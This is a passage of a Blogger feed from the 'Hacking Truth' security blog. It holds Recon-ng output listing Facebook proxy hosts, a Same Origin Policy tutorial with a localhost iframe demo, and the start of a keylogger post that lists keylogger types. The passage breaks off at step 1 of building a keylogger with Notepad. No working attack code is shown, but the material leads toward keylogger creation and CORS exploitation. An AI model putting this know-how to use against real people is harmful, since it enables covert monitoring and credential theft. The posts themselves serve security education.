[*] Ip_Address: 102.132.96.207
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: edge-fwdproxy-3-bgp-01-mba1.facebook.com
[*] Ip_Address: 102.132.96.211
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: edge-fwdproxy-4-bgp-01-mba1.facebook.com
[*] Ip_Address: 102.132.96.212
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: edge-fwdproxy-5-bgp-01-mba1.facebook.com
[*] Ip_Address: 102.132.96.213
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------


&lt;/pre&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;

&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;!--feb-2023--&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;auto&quot; data-ad-slot=&quot;9637714071&quot; data-full-width-responsive=&quot;true&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
  (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Disclaimer&lt;/h4&gt;

All tutorials are for informational and educational purposes only and have been
made using our own routers, servers, websites and other vulnerable free
resources. we do not contain any illegal activity. We believe that ethical
hacking, information security and cyber security should be familiar subjects to
anyone using digital information and computers. Hacking Truth is against misuse
of the information and we strongly suggest against it. Please regard the word
hacking as ethical hacking or penetration testing every time this word is used.
We do not promote, encourage, support or excite any illegal activity or hacking.

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/8494914880811899410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2023/08/the-ultimate-goal-of-finding-whois.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/8494914880811899410'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/8494914880811899410'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2023/08/the-ultimate-goal-of-finding-whois.html' title='The ultimate goal of finding WHOIS information with Recon-ng'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcBW0PPcZ0eZoXL7XJ9I23BVToBgS5bp5uisbz_TWTjRuunWB007YcX1EKKvM7QAikH-MgyDRHvUDHl4MMud7xjy4ETnV1NCfjN0oLx0_0FkTOZ6pW3TQa0T3u41wvA6bDBlbf87YYbKU0BVQ4hv_7w3JKLuHoGi_W7ZOFDKg8z2ZdJwPRvsH4ezmH3j40/s72-w640-h360-c/recon-ng.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-1445535064579783485</id><published>2023-08-09T04:34:00.007-07:00</published><updated>2023-08-09T04:34:57.584-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CORS"/><category scheme="http://www.blogger.com/atom/ns#" term="Cyber Security"/><category scheme="http://www.blogger.com/atom/ns#" term="SOP"/><title type='text'>Same Origin Policy security </title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://www.kumaratuljaiswal.in/&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Same Origin Policy security&quot; border=&quot;0&quot; data-original-height=&quot;1080&quot; data-original-width=&quot;1920&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjymN5o2k_kEIJlc0guEOCgxluoyylaG8HsQC66rZAtfP_0knaas0CNGpnrxGZV6dl1EaF_JCZweTMmZrnQJhEJNRX7FkqmBeZLiKhWbdcRyCXxUkGsu1YyM58u_G-LcCgn61C3C22a60U-xCmm-e0G7Hub3Mb1jOsDrhs7rKsMskQsnJzq5JKI3fpiWEzV/w640-h360/sop.png&quot; title=&quot;Same Origin Policy security&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&amp;nbsp;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;Same Origin Policy &lt;br /&gt;&lt;/h3&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;The&lt;b&gt; &lt;i&gt;Same Origin Policy &lt;/i&gt;&lt;/b&gt;(&lt;b&gt;&lt;i&gt;SOP&lt;/i&gt;&lt;/b&gt;) is a critical &lt;b&gt;&lt;i&gt;security&lt;/i&gt;&lt;/b&gt; concept in web development and
  cybersecurity. It is a browser security feature that is designed to prevent
  malicious websites from making unauthorized requests to another website&#39;s
  resources. The SOP is a fundamental part of the web security model and helps
  protect users from various types of attacks, such as
  &lt;b&gt;&lt;i&gt;cross-site scripting&lt;/i&gt;&lt;/b&gt; (XSS) and
  &lt;b&gt;&lt;i&gt;cross-site request forgery&lt;/i&gt;&lt;/b&gt; (&lt;b&gt;&lt;i&gt;CSRF&lt;/i&gt;&lt;/b&gt;). &lt;i&gt;&lt;b&gt;Same Origin Policy security &lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;!--kumaratuljaiswal_sidebar_AdSense2_1x1_as--&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;auto&quot; data-ad-slot=&quot;2865261013&quot; data-full-width-responsive=&quot;true&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Here&#39;s how the Same Origin Policy works:&lt;/h4&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;&lt;b&gt;1) Origin Definition:&lt;/b&gt; An origin is defined by a combination
  of three components: the protocol (e.g., &lt;b&gt;&lt;i&gt;http&lt;/i&gt;&lt;/b&gt;, &lt;i&gt;&lt;b&gt;https&lt;/b&gt;&lt;/i&gt;), the domain (e.g., example.com), and the port number. Two web pages have
  the same origin if these three components match.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2) Access Restrictions:&lt;/b&gt;
  The Same Origin Policy restricts web pages from making requests (such as
  &lt;b&gt;XMLHttpRequest &lt;/b&gt;or Fetch &lt;b&gt;&lt;i&gt;API&lt;/i&gt;&lt;/b&gt; requests) to a different
  origin than the one that served the web page. This means that JavaScript
  running on a web page from one origin cannot directly access or manipulate
  resources on a different origin.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3) Exceptions:&lt;/b&gt; There are
  some exceptions to the &lt;b&gt;&lt;i&gt;Same Origin Policy&lt;/i&gt;&lt;/b&gt;, such as allowing resources to be loaded from different origins if
  explicitly permitted through mechanisms like
  &lt;b&gt;&lt;i&gt;Cross-Origin Resource Sharing &lt;/i&gt;&lt;/b&gt;(&lt;b&gt;&lt;i&gt;CORS&lt;/i&gt;&lt;/b&gt;) headers. These exceptions are controlled by the server hosting the resource
  being accessed.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4) Cross-Origin Requests:&lt;/b&gt; If a web page
  tries to make a cross-origin request without proper authorization (such as
  appropriate &lt;b&gt;&lt;i&gt;CORS&lt;/i&gt;&lt;/b&gt; &lt;i&gt;&lt;b&gt;headers&lt;/b&gt;&lt;/i&gt;), the browser will block the request and prevent the web page from accessing
  the response data.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Same Origin Policy is a foundational
  concept in web security that helps protect users and their data from
  unauthorized access and malicious attacks by enforcing strict rules about how
  web pages can interact with resources from different origins.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;There are three type of origin -&lt;/h4&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;&lt;b&gt;1) Protocol:&lt;/b&gt; This specifies the communication protocol used
  to access the web resource. It is usually either &quot;&lt;b&gt;http&quot;&lt;/b&gt; or
  &quot;&lt;b&gt;https&lt;/b&gt;.&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2) Domain:&lt;/b&gt; This is the
  &lt;i&gt;hostname&lt;/i&gt; of the web server that hosts the resource. It can be an IP
  address or a human-readable domain name, like &quot;&lt;i&gt;example.com&lt;/i&gt;.&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3) Port: &lt;/b&gt;This is the network port on the web server that is used for communication. It
  is typically omitted or assumed to be the default port (&lt;b&gt;80&lt;/b&gt; for
  &lt;b&gt;&lt;i&gt;HTTP&lt;/i&gt;&lt;/b&gt;, &lt;i&gt;&lt;b&gt;443&lt;/b&gt;&lt;/i&gt; for &lt;b&gt;HTTPS&lt;/b&gt;) unless explicitly specified.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In
  simpler terms, an &quot;origin&quot; is a unique combination of the protocol, domain,
  and port that identifies the source of a web page. For example, if you have a
  web page loaded from &quot;https://www.example.com,&quot; its origin would be
  &quot;https://www.example.com.&quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  &amp;nbsp;Lets take example of live with &lt;b&gt;&lt;i&gt;localhost&lt;/i&gt;&lt;/b&gt; in our
  &lt;b&gt;&lt;i&gt;kali linux &lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.hackingtruth.in/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Same Origin Policy security&quot; border=&quot;0&quot; data-original-height=&quot;447&quot; data-original-width=&quot;1357&quot; height=&quot;210&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIV-CV-hQN67_J8tmPD-7QxoycltqK09XHMjMng_DqysaQFSoL_FdPM_a-1N0dshyhsK5wJDByJWPrXhDSoKQMYND0xc3fkdokIlKr3iL3tRnOXoQxbSjq7K0Zyi845UZU1_zILeifEDpzTzJD2LmpSqO5zbVnBC0dDtPPjaZo_qI6pC99hfmMlc1OAg8N/w640-h210/1.png&quot; title=&quot;Same Origin Policy security&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;!--feb-2023--&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;auto&quot; data-ad-slot=&quot;9637714071&quot; data-full-width-responsive=&quot;true&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  Now, Here we creating two file, one is example1.php and another one is called
  example2.php but inside of example1.php file we adding iframe with src of
  example2.php file and then with the help of this we will access the SAME
  ORIGIN POLICY (SOP) (another host, domain, port, protocol).
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Here is the code of example1.php&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;Same Origin Policy&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;

&amp;lt;iframe src=&quot;http://127.0.0.1:9091/example2.php&quot; name=&quot;test&quot; width=&quot;800&quot; height=&quot;600&quot;&amp;gt;&amp;lt;/iframe&amp;gt;

&amp;lt;script&amp;gt;
  document.getElementsByName(&#39;test&#39;)[0].onload = function()
{
  try {
  console.log(frames[0].hostname)
      }
  catch(e)
      {
  console.log(e);
      }

}

&amp;lt;/script&amp;gt;


&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Output&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.hackingtruth.in/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Same Origin Policy security&quot; border=&quot;0&quot; data-original-height=&quot;502&quot; data-original-width=&quot;924&quot; height=&quot;348&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsE87xlhI-9iozzhPHKSE82iEJHSpc9tKPZLTrWtPN5MU1VM_L-TgPmsRD1ISXIUmxjEz78SUmeOv6lXixJ6lN_V0PSJyi4QxxDex-YAB-ta_DxEStBzYSfLCmnIR0wHnVBI2FcQCg96BYfHXIBkdSnSoYXKjO_Jh7hpmi5dQ7eYxmQAPtkiYBuCgSNvQH/w640-h348/2.png&quot; title=&quot;Same Origin Policy security&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Now we will open inspect element and check console and as you can see below
  the image
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot; data-ad-slot=&quot;7752134372&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgclNT0CxBjZUIgszVeX2SDQ9sReeq1HK3gF-rMYOslYWAYGAT-wm0LqfdYVjipE2FhOhAsDj7bo8bf2Vrp4zBFRRJpn_h8iQ3xlFlv6u3uZKYkeWm4UMQLXGL5GABYwhKrrKGxoZghdgzytdNmG8dpFR9Vq-X_ClgmJwX1unPDfQP6Ij0jz3JH2yLaDFLW/s852/3.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Same Origin Policy security&quot; border=&quot;0&quot; data-original-height=&quot;496&quot; data-original-width=&quot;852&quot; height=&quot;372&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgclNT0CxBjZUIgszVeX2SDQ9sReeq1HK3gF-rMYOslYWAYGAT-wm0LqfdYVjipE2FhOhAsDj7bo8bf2Vrp4zBFRRJpn_h8iQ3xlFlv6u3uZKYkeWm4UMQLXGL5GABYwhKrrKGxoZghdgzytdNmG8dpFR9Vq-X_ClgmJwX1unPDfQP6Ij0jz3JH2yLaDFLW/w640-h372/3.png&quot; title=&quot;Same Origin Policy security&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  It is telling permission denied to access property &quot;&lt;b&gt;&lt;i&gt;hostname&lt;/i&gt;&lt;/b&gt;&quot; on &lt;b&gt;&lt;i&gt;cross-origin&lt;/i&gt;&lt;/b&gt; object so, we can&#39;t access &lt;b&gt;&lt;i&gt;SOP&lt;/i&gt;&lt;/b&gt;.&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;But if we want to access them don&#39;t worry I AM HERE -:)&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  Don&#39;t forgot to check out these links and go to these website to learn how to
  access them.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Exploitation of CORS Prefix-Suffix Match&lt;/h4&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;br /&gt;
  &lt;iframe frameborder=&quot;0&quot; height=&quot;790px&quot; src=&quot;https://www.kumaratuljaiswal.in/2021/07/exploitation-of-cors-prefix-suffix-match.html&quot; style=&quot;border: 0;&quot; width=&quot;100%&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;Brought to you by
  &lt;a href=&quot;https://www.kumaratuljaiswal.in/2021/07/exploitation-of-cors-prefix-suffix-match.html&quot; target=&quot;_blank&quot;&gt;Hacking Truth&lt;/a&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;Direct Link -
    &lt;a href=&quot;https://www.kumaratuljaiswal.in/2021/07/exploitation-of-cors-prefix-suffix-match.html&quot; target=&quot;_blank&quot;&gt;CLICK HERE&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout=&quot;in-article&quot; data-ad-slot=&quot;5920726694&quot; style=&quot;display: block; text-align: center;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;Cross-Origin Resource Sharing&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;W3C working draft that defines
  how the browser and server must communicate when accessing sources across
  origins. CORS Cross Origin Resource Sharing Vulnerability on Live Website.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;

&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;!--feb-2023--&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;auto&quot; data-ad-slot=&quot;9637714071&quot; data-full-width-responsive=&quot;true&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
  (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Disclaimer&lt;/h4&gt;

All tutorials are for informational and educational purposes only and have been
made using our own routers, servers, websites and other vulnerable free
resources. we do not contain any illegal activity. We believe that ethical
hacking, information security and cyber security should be familiar subjects to
anyone using digital information and computers. Hacking Truth is against misuse
of the information and we strongly suggest against it. Please regard the word
hacking as ethical hacking or penetration testing every time this word is used.
We do not promote, encourage, support or excite any illegal activity or hacking.

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/1445535064579783485/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2023/08/same-origin-policy-security.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/1445535064579783485'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/1445535064579783485'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2023/08/same-origin-policy-security.html' title='Same Origin Policy security '/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjymN5o2k_kEIJlc0guEOCgxluoyylaG8HsQC66rZAtfP_0knaas0CNGpnrxGZV6dl1EaF_JCZweTMmZrnQJhEJNRX7FkqmBeZLiKhWbdcRyCXxUkGsu1YyM58u_G-LcCgn61C3C22a60U-xCmm-e0G7Hub3Mb1jOsDrhs7rKsMskQsnJzq5JKI3fpiWEzV/s72-w640-h360-c/sop.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-5068453438659070339</id><published>2023-08-03T00:31:00.004-07:00</published><updated>2023-08-03T00:31:55.811-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Cyber Security"/><category scheme="http://www.blogger.com/atom/ns#" term="keylogger"/><title type='text'>keystroke keylogger via code</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;keystroke keylogger via code&quot;
      border=&quot;0&quot;
      data-original-height=&quot;1080&quot;
      data-original-width=&quot;1920&quot;
      height=&quot;360&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp5x9qPwiHVkzQdHWHOehlU4rQJpoOZ0cxRdXj4WvmusdbmU4YcrVEJjNPpAwSdtqmkLfz3J6rxdix2pDDfZeqjP0xI2OwSr0lQgmLZlsyZF8ryg_CrbPjPEJKchtoOjOR1q2fh4QQo43kB7bp5LaWhSMybmN2pDL2aJMhWZ3bbPz__Dl88RluXmG8rZQF/w640-h360/keystroke%20keylogger%20via%20code.png&quot;
      title=&quot;keystroke keylogger via code&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Keyloggers&lt;/h4&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;b&gt;&lt;i&gt;Keystroke logging&lt;/i&gt;&lt;/b
  &gt;, keylogging and capturing is&amp;nbsp; a process of monitoring or recording the
  action performed by any user such as monitoring a user using keyboard using
  keyloggers. Keyloggers can be either Hardware or software.The major purpose of
  using keylogger are monitoring data copied to the keyboard screenshots
  captured by the user screen logging by capturing a screenshot at every moment
  even when the user just clicked.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b
    &gt;There are two types of keylogger&lt;/b
  &gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1) &lt;/b&gt;Hardware keylogger&lt;br /&gt;&lt;b&gt;2) &lt;/b&gt;Software Keylogger&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;5920726694&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Hardware Keylogger&lt;/h4&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;b&gt;#&lt;/b&gt; PC/BIOS Embedded Keylogger&lt;br /&gt;&lt;b&gt;#&lt;/b&gt; Keylogger Keyboard&lt;br /&gt;#
  External Keylogger&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;External Keylogger
&lt;/p&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;# PS/2 Keylogger&lt;br /&gt;# Acoustic Keylogger&lt;br /&gt;# WIFI
  Keylogger&lt;br /&gt;# USB keylogger&lt;br /&gt;# Bluetooth Keylogger&lt;br /&gt;# Video
  Keylogger&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Software Keylogger&lt;br /&gt;&lt;br /&gt;# Kernel
  Keylogger &lt;br /&gt;# Form Grabbing Based Keylogger&lt;br /&gt;# Hypervisor Based
  Keylogger&lt;br /&gt;# Application Keylogger&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Software Keylogger&lt;/h4&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;Software key&lt;/i&gt;&lt;/b&gt; level performs it&#39;s function by login
  the action in order to Steal information from the target machine. Software
  based kilograms are remotely installed, or an attacker may send it to the user
  and user can accidentally execute application.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Hardware Keylogger&lt;/h4&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;Hardware key&lt;/i&gt;&lt;/b&gt; are physical hardwares which are
  installed on hardware by physically access the machine to load the software
  into BIOS, keyboard hardware such as key grabber. USB physical device need to
  be installed inline with the keyboard hardware.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;7752134372&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Creating Keylogger with Notepad&lt;/h4&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 1 -&lt;/b&gt; first of all, you need to open notepad in your
  windows by pressing windows button and R button and then selecting the notepad
